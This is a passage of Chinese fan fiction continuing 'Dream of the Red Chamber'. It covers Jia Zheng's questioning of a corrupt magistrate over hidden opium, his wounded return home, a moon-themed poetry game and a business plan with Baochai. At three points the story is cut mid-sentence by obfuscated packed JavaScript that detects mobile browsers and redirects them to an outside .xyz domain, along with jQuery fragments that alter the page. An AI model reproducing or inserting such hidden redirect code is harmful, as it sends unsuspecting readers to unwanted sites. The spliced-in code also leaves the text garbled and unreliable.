甚至齐鸣准备的赎金也只有面上一层是真的。水匪们被钱蒙蔽了眼睛,顾不上思考水务衙门哪里来这么多钱赎回贾政。只以为听了孙鹏程的话,知道贾政是富贵人家,可以敲一笔钱。 只是过程实在凶险,贾政现在想想,也是后怕。手臂上的箭伤此时一阵阵发疼,又出了一身汗,贾政却松了口气。 次日一早,齐鸣率众凯旋归来,顺利拿下了水匪的窝点。 贾政赞赏过齐鸣,让他去休息了。 待到下午,贾政自觉精神尚可,带了齐鸣去审问孙鹏程,他还有疑虑未消。 “如今你与水匪勾结我们都知道了,你的那些朋友招供了。”贾政坐到孙鹏程对面,也吩咐人让他坐了下来。 “只是我还有一些疑惑,烦请孙县令解答。”贾政笑道。 孙鹏程没有回话。 贾政仍自顾自说道“你与水匪勾结,抢了秦家的货,货去了哪里?” 孙鹏程嗤笑一声“早都转手卖了。” 贾政摇摇头,轻声笑了,说道“我指的是另一个货仓里的货物。” 孙鹏程闻言,脸色煞白,没有说话。 “是不是奇怪我怎么知道的?”贾政笑问道。 孙鹏程怒瞪了贾政一眼“我不信你的话,你又在诈我。” 贾政也不恼,说道“船员箱柜中有一密道,通往一个神秘货仓。”贾政顿了顿,继续说道“里面装的货物很不寻常。” 他故意说的很慢,观察孙鹏程的神情。 孙鹏程脸色更白,狠狠咬了咬牙,没有说话。 贾政凑到他耳边,轻声说道“是鸦片。” 孙鹏程听罢,脸色惨白,浑身发抖,口中嘟囔着什么。 贾政凑到他嘴边,原来孙鹏程说的是“你知道了此事,王爷不会放过你的···”贾政还欲再听,孙鹏程却没了声响。贾政细看他神色,原来孙鹏程竟然没气了。 贾政叹了口气,看孙鹏程也没有服毒的迹象,却瞬息间就断了气,大约是心脏病吧。 旁边的齐鸣已吩咐人去叫大夫,贾政没有阻拦。出了屋子,踱步思考。 孙鹏程死前所说的王爷很可能就是忠顺王爷。 难道这批货是他抢了秦家的吗?可是为何秦家人完全没有动静?难道真的是畏惧王爷势力? 贾政想到这里,发现了新的疑虑,他的心情又紧张起来。 大夫来得很快,但孙鹏程已经断气一会儿了,自然无法救治。 贾政又吩咐齐鸣派人严刑拷打老四与几个地位较高的水匪,没有收获,他们不是嘴紧就是的确不知道什么。 另外据齐鸣的消息,秦家家主秦业前几日莫名其妙死在了府里,秦府上下口径统一,说是吃饭没注意,噎死了。 齐鸣还派人问过秦家人货船的事情,秦家新任家主是前家主的大儿子,他毫不在意,只顾安葬父亲,无心过问货船的事情。 在贾政心里,调查又陷入了死胡同。 只是明面上,贾政这次确实立了大功,不仅破了大案,还成功剿匪,抓住了孙鹏程这个官府的败类。总之河道总督陈光和收到消息之后很是满意。 贾政写好此次事件的邸报,其中用了许多笔墨夸赞齐鸣。连同缴获的水匪名单,财物一并报给了陈光和。 贾政一去半个月,邸报已报给了陈光和,自己便放心休息几日。 他让齐鸣去衙门处理事务,自己回了家。 贾政在孩子面前倒是遮掩得很好,只说是连日里雨大,冲毁了不少桥梁堤岸,他辗转好几个县镇之间检查,这才耽搁了这么多天。 只是遮掩得再好,也无法隐藏住身上的药味。 探春一见贾政,就高兴地搂住父亲手臂,却见他神情怪异,额头冒汗,连忙放开了贾政,随即就闻到了浓重的药味。探春心细,她见贾政没有主动提,自己也不好在众人面前问出来。 “二哥哥,父亲操劳数日,先让他去休息吧!”探春见宝玉也想去贾政身边,忙阻止道。 宝玉只好听话了。 “我有些累了,先去休息一会儿,晚上陪你们几个一起用晚饭。”贾政摸摸宝玉的头,安慰他道。 宝玉点点头,没有不高兴。虽然黛玉和宝钗没有离贾政很近,但看探春神色忧虑,也默契地没有说什么,一左一右挽着探春走了。 王夫人与薛姨妈见贾政平安回家都很高兴,王夫人忙着吩咐下人打理贾政带回来的东西。 贾政在书文的伺候下回了屋子,就打发他走了。自己靠在了榻上,享受着连日来难得的放松时刻。不一会儿,困意袭来,贾政轻轻打起了鼾。 睡梦中,贾政感到有人轻柔地在他手臂上抚摸着,又为他换了药,扎了新的绷带。屋里弥漫着一股淡淡的暖香。在轻柔的抚摸与醉人的暖香中,贾政沉沉睡去了。 忽然,贾政感到脖颈痒痒的,他伸手抓了抓,像是头发,他清醒了过来。 原来是夫人正睡在他旁边,那一缕头发自然是她颈侧散落的。 贾政无声笑了笑,调皮地拈起这缕头发,朝夫人鼻尖轻轻扫了过去。 睡梦中的人也察觉到痒,伸手抓了抓,没有收获,皱皱眉,却没有醒来。 贾政见她睡得沉,就没再使坏,猜测到自己离开的这些日子,估计她也没有睡过一个好觉。于是贾政用那只没受伤的手搂紧了夫人,自己也睡去了。 这两人又睡了一个时辰,此时太阳都快落山了。 王夫人见贾政醒来,也不好再看他脸庞,撑起身子,坐了起来,背对着贾政,轻声问道“老爷怎么受的伤?” 贾政笑了笑,回道“不小心撞到墙上了···” “大夫说是箭伤。”王夫人微微提高了声音,转过身,看着贾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947733|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政。 贾政在这无言的控诉眼神中软了心肠,柔声道“当时场面很混乱,一只飞箭射了过来,我躲闪不及就受了伤。” 王夫人不太相信,她看着贾政故作轻松的表情,再也忍不住,落了泪。又因不想让他看到,自己转过身用帕子擦掉了。 贾政有些着急,扳过夫人的身子,自己拿过她的手帕,轻柔地擦了擦她的眼泪。 又柔声道“我受了伤还没有哭,你怎么先哭了呢?” 王夫人见他仍打趣自己,有些生气,就说道“我年纪大了,忍不住眼泪,反而爱哭。” 贾政被夫人此话逗笑了,也不擦眼泪了,将她揽到自己怀里,轻轻抚摸着夫人脊背。 王夫人不习惯如此,有些脸热,想要挣扎又怕弄伤贾政手臂。 “夫人瘦了···”贾政在王夫人耳边柔声说道。 王夫人被他的气息弄得耳朵痒痒的,轻声说“老爷一走半个月,我日日担心,又怎么吃得下东西呢?” “我错了,我不该以身犯险的。”贾政说罢,又拈起夫人耳畔的一缕头发,故意扫到她脸颊。 王夫人受不了痒,被逗得轻声笑了出来。 贾政也不再使坏,抱紧了夫人,一边抚摸她脊背,一边絮絮说着在湖平县发生的事情。 贾政详细说完了湖平县的事情,见王夫人神色忧虑,就暗想不该说的这么详细的。 “我以后绝不这样做了,夫人信我!”贾政又怕夫人难过,将她一只手放在自己胸口,他又举起右手,刚要发誓,就被王夫人打断了。 “好端端的,起什么誓?”王夫人勉强笑了笑,抽出被贾政握住的手,又轻抚他手臂,柔声说“老爷在外办公,难免受伤。只是日后行事前能多想想孩子们,就很好了。” 贾政拿出袖袋中的荷包,递给王夫人,笑说“我被水匪绑了的那几日,总是摸着这个荷包。要不是记挂着你与孩子们,我大约也不会胆子这么大吧!”说罢叹了口气,很是庆幸的样子。 王夫人脸微微红了,起身站到了榻边,对贾政说“说正经的…” 贾政轻咳一声,正色道,“好吧,说件正事。” 王夫人凝神,只待细听贾政说话。 “夫人以后若是因为我有哪里不高兴了,直接告诉我或者发些脾气也使得,我不想你总是憋在心里,还要做出柔顺贤惠的态度来。”贾政一番话真心实意,说罢,微笑看着夫人脸庞。 王夫人本以为他要说什么要紧事,哪承想却是这么几句话。一时间心里又是感动又是尴尬,脸色变来变去,不知如何是好。 “你不愿意这样与我相处吗?”贾政不解,遂问道。 王夫人抿抿唇,又坐在了贾政身侧。眼神却不知要往哪里放,虚扫过贾政全身,又定在了贾政脸上,他神情认真,正等着她的回答。 王夫人心里忽然涌上一股暖流,很多年不曾有过的,就像是回到了他们新婚的时候。 微不可查的,王夫人轻轻点了点头。 贾政很是高兴,将王夫人紧攥的两手轻轻分开,握在自己手中,轻轻摩挲着。 贾政眼睛一错不错地看着夫人脸庞,轻声说“我在外面也总是记挂你的。只是因为不想让你担心,却常常又因一时冲动更让你伤心,这是我的不对。” 贾政顿了顿,继续说道“我知道你心中对我有一些心结,先前发生的再提也于事无补。只是从今往后,就像我刚才说的,你有什么不满意的直接对我说就是了。” “我只是觉得,有说有笑,有玩有闹,这才像是一家人。”贾政说罢,细看夫人神情。 王夫人听了略一颔首,轻笑了声才说道“什么年纪了还说笑打闹呢?在孩子面前也不成体统,更别提让老太太看到了。” 贾政见王夫人说到后半句语气低沉,自己思索一下也明白了其中关键。应当是年轻时候王夫人因为性子直爽,不会做掩饰之词曾让老太太有所不满。所以这些年才慢慢将自己揉搓成了如今柔顺安静的样子。 的确,贾政仍能从如今她的性格中推测出她曾经的模样。 贾政叹口气,所谓事缓则圆,自己也不可心急啊。 “那么只有咱们两个人的时候就不需要忌讳那么多了吧?”贾政说罢,也不等待夫人的回答,起身理了理衣衫,牵起夫人右手,二人就去花厅用晚饭了。 35.对酒当歌月满天 王夫人睡午觉之前已经吩咐好了晚饭,待他们到花厅时,伺候的人已经准备好,就等传菜。 陆陆续续,薛姨妈与孩子们也来了。林如海因为近日衙门公事繁忙,只是听说贾政回来了,也特意抽时间来用晚饭。 因他们几家素日来往紧密,相处起来也不很讲究规矩。三家人用饭,也就分了两桌,贾政林如海一小桌,王夫人薛姨妈与孩子们一桌。 孩子们因见贾政回家,也很高兴,王夫人与薛姨妈更不必提,姐妹俩连日来少不了互相宽慰,因此他们那桌说说笑笑,也没太多规矩。 贾政这里,将自己半个月在湖平县的发现详细说与了林如海。林如海任巡盐御史已有几年,此职位与贾政所管的水务,公务有交叉的地方。因此林如海对贾政所言也很是了解。 只是林如海听到贾政的猜测后,也是一阵沉思。 “按照存周所说,贾家素与忠顺王府不和,所以他举荐你担任副总河,定是心怀不轨了。”林如海分析道。 贾政点头回道“此次湖平之事,其中凶险很多,幸好我提前有所准备,不然也许已经遭了暗害。” 林如海宽慰道“身居高位,总是如履薄冰,存周如今安好,也就不要太过忧虑。” 贾政摆摆手笑道“倒没有太多忧虑,既然敌暗我明,我必须时刻警惕。” “只是我最弄不明白的就是这批货与忠顺王的关系,究竟是他抢了人家的货,还是这批货本身就是他的,运送途中出了岔子,秦家反要私吞呢?”贾政说出了自己的分析。 林如海问道“这两种推测有什么紧要呢?” 贾政这才想到林如海并不知道鸦片的利润巨大,因此他靠近林如海,详细陈述了这东西的危害与其中巨大的利润。 林如海听罢,微微惊讶,“若这货物如此重要,存周所做的两种推测的确急需区分。” 贾政点点头“只是孙鹏程已死,水匪又问不出什么话,他们应当也不知道这些机密。秦家的人我并不认识,贸然去问,也不会有结果。” 贾政又叹口气,喝了杯酒。 另一桌的王夫人倒是时刻关注着贾政动向,此时见他喝了不少酒,就起身过来,拿走了他的酒杯,重端过来两碗素粥。 贾政对夫人一笑,端起粥连喝两口,说道“还是家里的粥饭合我胃口。” 王夫人将另一碗粥端到林如海面前,轻轻一笑,便回去自己座位了。 此情此景,林如海又是好笑又是羡慕,也喝了一口粥,直言道“嫂子对你关爱非常,却让我有些羡慕了。” 贾政知道林如海心中所想,也不好出言宽慰,拍拍他肩膀,又以粥碗与他碰了碰,说了句“人有悲欢离合,月有阴晴圆缺,此事古难全。” 林如海黯然垂首。 “我被水匪绑了的时候,也总害怕,一朝不慎,丢了性命,家中妻儿又如何是好呢?”贾政说到这里,眼神看向那桌正笑闹着的孩子们。 又笑道“外甥女活泼可爱,聪慧伶俐,岂不是你最大的牵挂吗?” 林如海笑笑,举起酒杯,说道“这杯酒庆贺你平安回来。”说罢,一饮而尽。 他又端起粥碗,说道“咱们同喝这碗粥,就当作是提醒自己,时刻不忘家人。” 一会儿,两桌人都吃罢了晚饭。却因喜欢这团圆氛围,不想就此散了。 “今日正好是十六,不如咱们去花园坐坐,既可赏月,又可以闲话家常。”贾政建议道。 众人都喜欢如此,便一起出了花厅,去花园中一处位置较高的凉亭。 探春吃罢饭,也没与姐妹们一处玩笑,却凑到了贾政身边,笑说“父亲,我陪你一起散步。” 贾政摸摸探春脑袋,一手牵着探春,父女俩慢悠悠散着步。其间,贾政问了探春一些琐事,比如在家中与姐妹们做些什么,诗社做了哪些诗,宝玉和香菱两人有没有进益。 探春都详细说了,还读了两首宝玉与香菱的诗给贾政听。 不知何时,王夫人也走到了探春旁边,没说什么,牵了探春另一只手。 待这三人走到凉亭,其他人早就坐着等了。丫鬟们也准备好了瓜果点心与酒水,在旁边站立伺候。 贾政突然玩心大起,挥挥手让丫鬟们下去了,笑道“今天就由我来服侍诸位。” 边说话,边拿了酒壶,打算为每人倒一杯。 林如海独坐,面前有一小几,王夫人薛姨妈挨着坐,在林如海对面。孩子们在中间,占了凉亭内的大石桌。 贾政为林如海倒了酒,又走到王夫人与薛姨妈身边。王夫人并没有阻拦,只是笑着拿过薛姨妈的酒杯,让贾政倒了酒。又举起自己的,眉眼含笑,看着贾政,等他伺候。 “夫人今日多喝些。”贾政笑罢,为王夫人倒了满满一杯,只快溢出来。 薛姨妈在旁,含笑看着姐姐姐夫互动,思绪万千。 贾政又走到孩子们这里,给每人倒了半杯,笑说“所谓李白斗酒诗百篇,你们这几个才子才女们一会儿可不能丢了面子!” 宝玉忙道“父亲放心,我们连日来无事,日日结诗社,今日更不会江郎才尽的!” 探春笑宝玉,“也不知谁总是落第呢?”笑罢,打趣地看着宝玉。 宝玉皱了皱鼻子,朝探春哼了一声道“三妹妹不要瞧不起人!” “希望二哥哥今日拿出真本事,让妹妹拭目以待了!” 宝钗也笑道“宝玉探春你们俩但凡在一处,总少不了斗嘴,不像是一对儿兄妹,倒像是两只鹦鹉!” 宝玉探春有些脸红,略低了头。 黛玉搂着宝钗,笑说“多亏了我的好姐姐,往日我总说不过他们,今日有你在,多为我出几口气!” “颦儿你自己就有一张巧嘴,哪还用我?”宝钗点了点黛玉额头,笑道。 “我不管,今日我赖上你了!”黛玉抱紧宝钗手臂,向她撒娇。 “我也要与宝姑娘一处,一会儿我若做不出诗,宝姑娘林姑娘帮我!”香菱说笑间也凑了过来。 贾政笑笑,摸摸香菱脑袋,让她挨着宝钗坐下了。 王夫人与薛姨妈看着孩子们这边玩笑,都很喜欢,姐妹俩先干了一杯。 “有人偷喝酒!让我逮住了!”贾政眼尖,立刻走到夫人这里,又给她们姐妹俩满上了。王夫人与薛姨妈都是笑笑,任由贾政又倒满了酒。 贾政忙罢,坐到了林如海旁边,将自己的想法与林如海一说,林如海满意点头。 贾政又站了起来,“今晚月色真好,咱们一家人有大有小,单是喝酒赏月,难免无趣。” 顿了顿,看众人眼神都很期待,贾政继续道“我们不如来玩飞花令,接不上句子的人便罚酒一杯,又简单又有趣!” “这个好玩!什么题目呢?”宝玉忙问。 贾政笑笑,手指了指天上一轮明月,笑道“自然要选个应景的了,就以月为题目,每人所说诗句中只要有一个月字即可,只是不可以与前人重复。” 探春笑道“岂不是太简单?” 黛玉也笑“舅舅太看不起人!” 贾政微微摇头,笑说“又不是考校功课,不需要太难。” “姐夫总需要一个人做监察御史吧?”薛姨妈笑着对贾政说“我自愿来做!” “姨妈耍赖!还没开始玩就想溜了!”黛玉笑道,“探春快拦住姨妈!” 探春动作很快,搂紧了薛姨妈,笑道“姨妈怎么先打退堂鼓!” 薛姨妈笑道“我怕一会儿答不上来,反被灌醉了。” 王夫人虽然于文墨也平平无奇,只是今日难得心情好,揽着妹妹肩膀,笑说“吃醉了就回去睡觉,谁还笑话咱们吗?” 薛姨妈无奈,只好说“今日免不了一醉方休了!” “我坐到姨妈旁边,一会儿暗中助你!”探春笑着在薛姨妈耳边说道,薛姨妈这才放了心。 “那我先来抛砖引玉吧”,林如海抬头看了看月亮,笑说道“举头望明月。” 贾政说了句“举杯邀明月”,边说边举起酒杯,笑看旁边的探春。 探春笑道“父亲与姑父专挑耳熟能详的来说”,笑罢自己说了一句“海上升明月,天涯共此时。” 薛姨妈有点紧张,早就想好了两三句,说了“明月几时有。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952010|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宝玉接了句“二十四桥明月夜”,引来了黛玉和宝钗探究的目光。 “月是故乡明。”王夫人说道。 黛玉笑道“明月别枝惊鹊,清风半夜鸣蝉。” “明月松间照,清泉石上流。”香菱轻声说。 宝钗说了句“三十功名尘与土,八千里路云和月。” 一圈结束,又到了林如海,他说了一句。随后众人又说了一圈。 第三圈到贾政时,他不小心说了前面宝玉说过的一句,被宝玉发现了,于是喝了一杯酒。 薛姨妈有探春在旁边提醒,也接上了。只是王夫人没有听清黛玉在她耳边提醒的句子,只好罚了酒。 又几圈下来,四个大人自愿投降,就只剩孩子们接句。 “不如咱们来更难的玩法,即景联句如何?”探春笑着建议道。 “就该这么玩,我预备好要大展身手呢!”宝玉也紧跟着附和。 “我不信你!”黛玉故意笑宝玉,宝玉嘻嘻一笑,很是自信。 “我来给你们先出一句”林如海举了酒杯,摇头晃脑吟道“明月出天山。”林如海说罢,笑看孩子们反应。 “林姑父好心照顾咱们”探春笑道。 宝钗点点头,说道“那就探丫头先开始吧。”探春自是胸有成竹,接了两句。 贾政见孩子们出口成诗,玩得不亦乐乎,笑着点点头。又去看王夫人神情,见她已有三分醉意,脸色微红,贾政不禁好笑,微微摇摇头。 趁孩子们热火朝天联句,贾政走到薛姨妈身侧,说道“你姐姐醉了,我扶她去吹吹风,醒醒酒。”薛姨妈笑着让了位置,贾政便扶起王夫人出了凉亭。 “就剩咱们俩了,干一杯吧。”薛姨妈看向独坐的林如海,笑着举起酒杯。 林如海微笑颔首,二人遥遥碰了杯,各自饮尽了。 “不玩了不玩了,说得嘴巴都干了!”宝玉说罢,喝了一杯茶,坐下歇着了。 “就说你不中用了!”黛玉笑他,又在宝玉头上戳了一下。 “我也累了!”探春埋进薛姨妈怀里,撒娇哼道。 “我也要姨妈搂着我。”黛玉也凑了过来,滚到薛姨妈怀里。探春也抱紧了黛玉。 宝钗又搂着香菱,赞赏她“你方才联的几句都很好!” 香菱却微微脸红,“宝姑娘怀里真暖和!” “你这丫头,哪里学的这种话?”宝钗笑着在香菱眉间点了一下。 “香菱心眼太直,人又呆,要不怎么总说呆话呢!”袭人为其他人到了茶,走到宝钗与香菱这,也为她们倒了茶。 香菱喝了茶,又给袭人倒了一杯,让她也喝。 林如海在旁边点评道“你们几个方才的句子都很好,其中宝钗和玉儿的最佳!”林如海直白道。 “姑父偏心!”探春故意道。 “所谓举贤不避亲,探丫头你应该服气了吧!”黛玉戳了戳探春脸颊,见她反而鼓了嘴巴,更是笑得止不住。 “我的儿,你们俩都是好的!”薛姨妈并不懂诗句好坏,只是很公平的搂紧探春黛玉,很是关爱。 “我听姨妈的。”黛玉顽皮一笑,朝探春吐吐舌头。 宝钗并不介意母亲搂着探春黛玉,她正仔细对香菱解释方才联的句子。宝玉见宝钗说得很有趣味,也凑到旁边认真听着。 “姨妈,你看宝姐姐讲课的样子像不像晏先生?”黛玉笑着问薛姨妈。 薛姨妈看罢,笑着点点头,说道“宝丫头自小主意就多,人也很独立,她待你们像是大姐姐那样。” 探春也点点头,“平常凡是我们没有注意到的,宝姐姐都会提醒我们。” 薛姨妈叹口气,说道“有时候我却也觉得让她太辛苦了” 黛玉和探春见姨妈低沉,一起出言宽慰。 时间不早了,林如海与薛姨妈便让孩子们都散了,回房安寝。 只是探春却还担心贾政受伤与王夫人醉酒,回到院子又特意去他们屋外看了看。只是里面已经熄了灯。 锦屏说老爷太太那会儿就歇了。探春听后也就放了心,去找黛玉宝钗一起睡了。 36.偷得浮生半日闲 因昨日晚上一时高兴,吃多了酒,王夫人早晨有些头痛。本想按往常时间起床,却被贾政拦住了。 “又不需要去请安,家里也没什么事情做,何苦忍着头痛早起呢?”贾政扶着王夫人半靠着他,边说话边为她揉太阳穴。 “老爷身上有伤,怎么反来伺候我呢?”王夫人拉住贾政手臂。 贾政笑笑,抬起那只受伤手臂,说道“一只手也可以的。”大有一副不做不罢休的态度。 又因为贾政前日所说的话,王夫人也想二人私下相处,没有必要太恭敬了。何况贾政又坚持,若是推搡之间反而弄疼了他,倒是不好。思及此,王夫人也就随他去了。 “这个力度还可以吗?”贾政边为夫人按揉,边问道。 王夫人难得被丈夫服侍,身心都很是受用,舒服的眯着眼睛,说道“肩颈也有些酸疼。” 贾政闻言笑笑,又为夫人按着肩颈,只是一只手却有些不太方便,又道“若是疼了,你便告诉我。” 王夫人轻哼了声,没说话。 此时夫妻二人赖床不起,却让在外等着伺候的丫鬟锦屏略微尴尬。她听着里间不时传来的声音,脸微微红了。 又过了小半个时辰,里面二人才叫人进来服侍。 贾政示意锦屏先为夫人穿戴,不用再叫其他人服侍,锦屏应了。 这边锦屏为王夫人穿好了衣服,又服侍她净面漱口。贾政也没有等锦屏忙完再来服侍他,自己已经穿好了衣服,待王夫人用帕子擦了脸,贾政已经穿戴梳洗完毕,坐在桌前饮茶了。 王夫人看贾政对她笑,有些无奈,难得打趣道“哪有受了伤的人行事像老爷这么利索?” 笑罢又坐在镜前,让锦屏为她梳头。 “这支白玉步摇如何?”贾政突然凑过来,从袖袋中拿出一只步摇给王夫人看。 王夫人笑着接过去,稍稍举起,阳光打在上面,泛着莹润的光,末端另垂着三串或粉或蓝的珠玉。她笑着点点头,递给了锦屏,其含义不言自明。 锦屏将步摇斜斜插在王夫人发间,仔细端详了,笑说“确实很衬太太呢!” 王夫人面色微微红了,轻拍了锦屏手背,佯怒道“还不快束发?” 贾政见夫人喜欢,笑说“锦屏挨骂,真是没来由!”说罢,就起身出了门,担心夫人听了又要不自在。 早饭只有贾政与王夫人一起用。饭罢,闲来无事,他们先去了薛姨妈处,想与她一起去找孩子们。 到了薛姨妈屋子,正好宝钗也在,正与薛姨妈看账本。贾政有事想问宝钗,就找了个由头又将她带了出去。 “听潘武说,你学得很快,将你们家的生意也打理得紧紧有条。”贾政与宝钗在花园闲逛,笑问道。 宝钗道“姨夫倒夸的我不好意思了。”,说罢调皮一笑。 贾政笑着摇头,又道“你素来能干,哪里需要我额外夸你?” 笑罢,贾政又说“虽然你们家如今没了皇商的名号,但是生意做的也不小,薛家由你内外打理,你母亲与姨妈尽可安心了。” 宝钗轻轻点头,“还是要多些姨夫帮我!不仅派人教我,自己也亲身教导,还有瞒着我母亲。” 贾政闻言笑了笑,轻轻拍了宝钗肩膀,说道“你母亲那里估计早有猜测了,只是她不愿拆穿罢了。” 宝钗也是点点头,没说什么。 “你心思细腻,考虑得也长远,有些话不能与别人说的,我却认为该让你知道。”贾政沉声说道。 宝钗正了神色,凝神静听。 “你们家如今没什么大事可操心,除了你那哥哥实在顽劣。如今强让他在县镇做事,有我的人时刻看着他。大约他也不会再犯大错。”贾政顿了顿,又继续说。 “你虽是妹妹,但总不忘操心家里,这很好。只是你母亲心软,我怕她受了你哥哥哄骗,又纵容了他。”贾政说罢,看看宝钗。 宝钗点点头,说道“姨夫说的我都明白,我会在母亲身边叮嘱的。母亲也总想让哥哥学好,即便一时心软,有我们看着,她也不会太溺爱哥哥了。” 贾政点点头,仔细思考着。 他今日之所以特意将宝钗叫出来说这些话,只因为薛蟠仍是不太安分,好几次偷偷溜去玩耍,害得袁三保总担心他闯祸。贾政担心薛蟠溜回来薛姨妈这里,他略微卖惨撒娇,薛姨妈便舍不得了。所以想让宝钗多劝劝母亲。 说完这桩事,贾政便没什么可叮嘱的,与宝钗一同往回走了。 “姨夫,你说今年的雨水是不是比往年更多呢?”宝钗突然问道。 贾政笑笑“我这不是头年来扬州嘛!” 宝钗意识到贾政的玩笑,微微红脸。 “不过据衙门的人报上来的消息,今年各处的河流水位确实比往年高一些,应当是雨水更多了。”贾政又说道。 宝钗闻言,点点头,陷入了思考。 贾政见状,有所猜测,笑道“你若是做生意,也算我一份!” 一句话让宝钗更是脸红,哪有做姨夫的来求外甥女办事的道理! 只是宝钗毕竟性子沉稳,很快冷静下来,问道“姨夫怎么知道?” 贾政笑笑,“江南若有洪灾,总少不了木材粮食布匹,你提前囤好材料,到时总能从中获利。” 贾政说罢,看到宝钗神情忧郁,似有担忧之事,便又说道“只是我知道你心里担心的事情,你认为这样趁着天灾做生意,赚那些穷苦人的钱,此举不是君子所为,我猜的对也不对?” 宝钗点点头,说道“的确是这样。” “做生意虽讲求诚信,只是也不能太迂腐,这我想你也清楚。”贾政宽慰道。 “到时如若真有灾祸,你将所囤货物只按照比市面略高的价格出售,岂不是于百姓也有利?更何况你还可以做许多慈善之举,比如为灾民施粥,提供暂时休憩的场所,这些不都是利民之举吗?同时还可以打响你们薛家的名号,从此人人都知道你们乐善好施,生意更不用愁,岂不两全其美?”贾政说罢,笑着看向宝钗。 宝钗自然聪慧,贾政稍微提点一下,她的心结就解了。贾政另外所说的话也确实提醒了她。 于是宝钗笑着谢道“多些姨夫提醒!” 贾政摇头笑说“我可是有求于你的!”说罢,向宝钗眨眨眼。 宝钗心里又是好笑,只好说道“姨夫若真有心参与,那么咱们两家五五分成便可。” 贾政摇摇头“我自己并无精力与你一起打理,要全靠你来谋划。所以我只出钱,并让潘武带几个人帮你,所以只占三成就好。” 宝钗见贾政如此,也就不再强求,郑重应下了。 “没想到咱们俩能合伙做生意,只是你别告诉你母亲姨妈,到时咱们赚了钱,要故意吓她们一跳!”贾政顽皮笑道。 宝钗也对自己这姨夫的性格有了了解,心里笑笑,只觉得他这句话更像是宝玉那个年纪的孩子说的。 待二人回到薛姨妈处,那姐妹俩正吃着点心,闲话家常。 薛姨妈倒也没有细问贾政与宝钗出去半天说了什么,只是笑着搂着宝钗,喂她吃点心。 贾政坐在王夫人对面,她正笑看妹妹母女,自己手里也拿着一小块点心吃着。 贾政不经意看到夫人发间那支步摇,珠玉微微晃动着,发出很轻微的碰撞声,他看得有些愣神。忽然凑到王夫人耳畔说道“我也想尝尝那个点心。”,手指了指桌前一盘点心,正是王夫人吃的那个。 王夫人闻言忍不住笑了笑,很是直接地端起一整盘,要递给贾政。他也不觉得不好意思,从王夫人端着的盘子中拈起一块,轻咬了一口。 “多谢夫人。”贾政笑罢,吃完了剩下的半块。 薛姨妈笑道“姐夫既然喜欢,一会儿让厨房那边多做些送过去。正是杨梅季节,这点心是杨梅与糯米粉混了芝麻核桃仁做的,吃着酸甜可口,确实不错。” 贾政笑着应下了,说道“的确可口。” 王夫人摇摇头,轻声说“以前总觉得是宝玉太顽皮,哪能想到顽皮的另有其人呢。”说罢,自己又拈了一块杨梅酥。贾政与宝钗都没听清楚。 “怎么今日早饭很咸吗?一盘子杨梅酥转眼见底了?”薛姨妈听得清楚,故意笑姐姐姐夫。 “也许吧。”贾政笑着吃了最后一块。 这边正说笑着,宝玉黛玉探春也过来了,身后还跟着香菱与袭人,孩子们都行了礼。 “姨妈这里吃的喝的摆了这么多,却不叫我们,就说是姨妈偏心了!”探春笑道,凑到薛姨妈旁边,薛姨妈就也搂着探春,喂她点心吃。 “会撒娇的孩子有点心吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957268|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,黛玉也不学学你探春妹妹吗?”贾政笑对黛玉说。 黛玉因为那会儿路上与宝玉有些口角,此时他们俩都不太自在,贾政正是看出了他们情绪不对,才故意逗他们。 黛玉笑笑,没有说什么,坐在了王夫人身边,抱着舅妈手臂,半个身子靠着,轻声说“舅妈,二哥哥欺负我。”说罢很是委屈的瘪瘪嘴。 王夫人疼惜地摩挲黛玉脖颈,安慰道“宝玉该打,一会儿我告诉你舅舅,让他捶宝玉一顿。” 黛玉听了,又担心贾政真的教训宝玉,忙说道“舅妈,我说着玩的,你不要告诉舅舅。” 王夫人听了,哪里不懂,不过是兄妹两个的小矛盾罢了,也不再劝,仍搂着黛玉,让她吃点心。 宝玉一直在旁边观察着黛玉神情,此时见她神情如常,自己也就放了心。 贾政倒是眼尖,轻声对宝玉说“犯了错就去道歉,何必扭扭捏捏的呢?” 宝玉闻言脸色一红,点头应了。 因为下午天一直阴着,似要下雨,孩子们又都来了薛姨妈处,薛姨妈就张罗着晚饭都在这里用,孩子们自是高兴。 薛姨妈便去吩咐下人,晚饭准备两个锅子,各种配菜,并一坛绍兴酒,晚上边涮火锅边喝酒,正适合这样的阴沉天气。 趁着其他人玩闹,宝玉偷偷扯着黛玉袖子,想与她说话。黛玉摇摇头,不想理他。只是宝玉坚持,黛玉也就随他出去了。 出门时,王夫人还嘱咐宝玉“你可不要欺负妹妹了,若是让我知道,少不了一顿打!” 宝玉笑着应了。 